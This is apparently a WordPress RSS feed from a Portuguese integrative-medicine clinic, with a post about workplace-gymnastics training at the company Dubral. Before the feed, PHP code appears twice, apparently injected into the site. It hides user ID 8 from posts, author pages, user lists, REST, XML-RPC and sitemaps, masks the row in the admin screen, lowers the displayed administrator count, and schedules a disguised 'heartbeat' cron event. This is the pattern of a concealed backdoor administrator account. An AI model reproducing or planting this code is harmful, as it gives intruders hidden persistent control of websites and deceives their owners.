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    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
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add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
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        $not_in[] = 8;

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            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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    }
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add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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        return;
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    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
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    $exclude[] = 8;
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add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

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    return $args;
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        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
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    return $result;
}, 10, 3 );

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        $methods['wp.getUsers'],
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
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	<title>Arquivo de corporate-wellness - Clínica Medicina Integrativa Dr. Nuno Pacheco</title>
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	<description>Clínica Medicina Integrativa</description>
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		<title>Formação em Ginástica Laboral na Dubral: Exercícios para Prevenir Lesões no Trabalho</title>
		<link>https://nunopacheco.pt/formacao-em-ginastica-laboral-na-dubral-exercicios-para-prevenir-lesoes-no-trabalho/</link>
		
		<dc:creator><![CDATA[Nuno Pacheco]]></dc:creator>
		<pubDate>Wed, 15 Apr 2026 08:39:48 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[<p>A formação em ginástica laboral na Dubral representa mais um passo importante na promoção da saúde e bem-estar dos colaboradores em contexto empresarial. Além disso, no âmbito de um protocolo de saúde estabelecido com a empresa, a Clínica do Dr. Nuno Pacheco tem vindo a desenvolver várias iniciativas, incluindo tratamentos especializados e ações de formação [&#8230;]</p>
<p>O conteúdo <a href="https://nunopacheco.pt/formacao-em-ginastica-laboral-na-dubral-exercicios-para-prevenir-lesoes-no-trabalho/">Formação em Ginástica Laboral na Dubral: Exercícios para Prevenir Lesões no Trabalho</a> aparece primeiro em <a href="https://nunopacheco.pt">Clínica Medicina Integrativa Dr. Nuno Pacheco</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>A formação em ginástica laboral na Dubral representa mais um passo importante na promoção da saúde e bem-estar dos colaboradores em contexto empresarial.</p>



<p>Além disso, no âmbito de um protocolo de saúde estabelecido com a empresa, a Clínica do Dr. Nuno Pacheco tem vindo a desenvolver várias iniciativas, incluindo tratamentos especializados e ações de formação adaptadas às necessidades reais dos trabalhadores.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="768" height="1024" src="https://nunopacheco.pt/wp-content/uploads/2026/04/formacao-ginastica-laboral-com-fisioterapeuta-768x1024.webp" alt="Formação de ginástica laboral na empresa Dubral com a fisioterapeuta Susana Moreira. Exemplificação de exercícios preventivos de lesões músculo esqueléticas." class="wp-image-2190" srcset="https://nunopacheco.pt/wp-content/uploads/2026/04/formacao-ginastica-laboral-com-fisioterapeuta-768x1024.webp 768w, https://nunopacheco.pt/wp-content/uploads/2026/04/formacao-ginastica-laboral-com-fisioterapeuta-225x300.webp 225w, https://nunopacheco.pt/wp-content/uploads/2026/04/formacao-ginastica-laboral-com-fisioterapeuta.webp 800w" sizes="(max-width: 768px) 100vw, 768px" /></figure>



<h2 class="wp-block-heading">O que é a Formação em <a href="https://nunopacheco.pt/ginastica-laboral-na-vieira-de-castro-apenas-10-minutos/">Ginástica Laboral</a>?</h2>



<p>A formação em ginástica laboral consiste na capacitação dos colaboradores para realizarem exercícios simples e eficazes no local de trabalho.</p>



<p>Desta forma, os próprios trabalhadores passam a ter ferramentas para prevenir lesões e melhorar a sua condição física no dia a dia conforme recomendado pela <a href="https://www.dgs.pt">Direção-Geral da Saúde</a>.</p>



<h2 class="wp-block-heading">Formação Realizada na Dubral</h2>



<p>Na Dubral, empresa localizada em Santo Tirso, foi realizada uma sessão prática de formação em <a href="https://nunopacheco.pt/ginastica-laboral-nas-empresas-beneficios/">ginástica laboral </a>com foco na prevenção de lesões e melhoria do desempenho físico.</p>



<p>Durante esta formação, foram apresentados três planos de exercícios específicos:</p>



<ul class="wp-block-list">
<li>Plano cervical</li>



<li>Plano lombar</li>



<li>Plano para membros superiores e inferiores</li>
</ul>



<p>Assim, esta abordagem permite atuar diretamente nas zonas do corpo mais afetadas pelas exigências do trabalho.</p>



<h2 class="wp-block-heading">Planos de Exercícios de Ginástica Laboral</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Plano Cervical</h3>



<p>O plano cervical foi desenvolvido para reduzir tensões na zona do pescoço e ombros, frequentemente associadas a posturas prolongadas.</p>



<p>Além disso, ajuda a melhorar a mobilidade e a reduzir dores.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Plano Lombar</h3>



<p>O plano lombar tem como objetivo prevenir dores nas costas, uma das queixas mais comuns em ambiente laboral.</p>



<p>Por isso, inclui exercícios de alongamento e ativação muscular, de acordo com boas práticas da<a href="https://osha.europa.eu/pt"> EU-OSHA</a>.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Plano para Membros Superiores e Inferiores</h3>



<p>Este plano foca-se na melhoria da mobilidade e circulação, reduzindo a fadiga muscular ao longo do dia.</p>



<p>Assim, contribui para um melhor desempenho físico geral.</p>



<h2 class="wp-block-heading">Benefícios da Formação em Ginástica Laboral na Dubral</h2>



<p>A implementação desta formação trouxe benefícios claros para os colaboradores da Dubral.</p>



<p>De facto, trata-se de uma abordagem preventiva com impacto direto no dia a dia, a<a href="https://www.act.gov.pt">linhada com recomendações da Autoridade para as Condições do Trabalho</a>.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Prevenção de Lesões</h3>



<p>Em primeiro lugar, permite reduzir do risco de problemas musculares e articulares.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Maior Autonomia dos Colaboradores</h3>



<p>Além disso, os colaboradores passam a aplicar os exercícios de forma autónoma.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Aumento do Bem-Estar</h3>



<p>Por outro lado<strong>,</strong> verifica-se uma melhoria da condição física e redução de desconfortos.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Melhor Desempenho Profissional</h3>



<p>Consequentemente, colaboradores mais ativos apresentam melhores resultados.</p>



<h2 class="wp-block-heading">Protocolo de Saúde com a Clínica do Dr. Nuno Pacheco</h2>



<p>A formação em ginástica laboral insere-se num protocolo mais abrangente entre a Dubral e a Clínica do Dr. Nuno Pacheco.</p>



<p>Este protocolo inclui:</p>



<ul class="wp-block-list">
<li>Tratamentos aos colaboradores</li>



<li>Acompanhamento especializado</li>



<li>Ações de prevenção e formação</li>
</ul>



<p>Neste sentido, garante-se uma abordagem contínua e eficaz à saúde ocupacional.</p>



<p>Assim, garante-se uma abordagem contínua e eficaz à saúde ocupacional.</p>



<h2 class="wp-block-heading">Importância da Ginástica Laboral nas Empresas</h2>



<p>A ginástica laboral é cada vez mais valorizada pelas empresas que procuram reduzir o absentismo e melhorar a produtividade.</p>



<p>De facto, investir na saúde dos colaboradores é investir no sucesso da organização.</p>



<h2 class="wp-block-heading">A Sua Empresa Pode Beneficiar Também</h2>



<p>A formação em ginástica laboral é uma solução prática e eficaz para empresas que pretendem melhorar o bem-estar das suas equipas.</p>



<p>Com medidas simples, é possível obter resultados significativos.</p>



<h2 class="wp-block-heading">Conclusão</h2>



<p>A formação em ginástica laboral na Dubral demonstra como a prevenção e a educação podem fazer a diferença no ambiente de trabalho.</p>



<p>Além disso, a implementação de planos específicos para cervical, lombar e membros permite uma abordagem completa e eficaz.</p>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /><a href="https://nunopacheco.pt/contacte-nos/"> <strong>Se pretende implementar formação em ginástica laboral ou um protocolo de saúde na sua empresa, entre em contacto connosco através da nossa página de contactos.</strong></a></p>



<p>Por fim, poderá contar com uma equipa especializada pronta para ajudar a melhorar a saúde e o desempenho da sua empresa.</p>



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